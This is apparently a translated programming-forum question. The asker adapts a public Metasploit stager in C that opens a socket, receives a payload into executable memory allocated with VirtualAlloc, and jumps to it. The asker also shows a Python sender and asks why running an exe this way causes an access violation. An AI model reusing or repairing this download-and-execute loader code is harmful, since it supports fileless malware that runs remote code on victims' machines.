我想从exe file
检索socket
并从C中的缓冲区直接运行。我在loader
中发现这个小github
,它被写入加载meterpreter
:
https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
据我所知,它的工作原理如下:
它获取exe文件的大小并分配大小为+ 5的缓冲区。
然后使用套接字下载文件并将其保存在缓冲区中。
并将缓冲区强制转换为指向函数的指针,并简单地调用该函数。
这就是来自高抽象的东西。虽然我不确切知道buffer[0] = 0xBF;
实际上做了什么。
我尝试更改代码以运行我的exe
文件(其余功能与原始代码完全相同):
//receive the agent data
int recv_all(SOCKET my_socket, void* buffer, int len) {
int tret = 0;
int nret = 0;
char* startb = (char *) buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
startb += nret;
tret += nret;
}
return tret; // length of received Data
}
int main(int argc, char *argv[]){
char host[] = "localhost";
int port = 4444;
int count;
ULONG32 size = 624128; //size of my file hard coded
char *buffer;
void (* function)();
SOCKET my_socket;
winsock_init();
my_socket = wsconnect(host, port);
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL){
punt(my_socket, "could not allocate buffer");
}
buffer[0] = 0xBF;
memcpy(buffer + 1, &my_socket, 4);
count = recv_all(my_socket, buffer + 5, size);
function = (void (*)())buffer;
function();
return 0;
}
正如您所看到的,我刚刚用字节硬编码了文件的大小。
以下是我发送文件的方式:
f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
c.send(l)
l = f.read(1024)
f.close()
但是在运行C代码后,我得到了“访问冲突”:
Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.
我很感激为何会出现这种情况以及我做错了什么。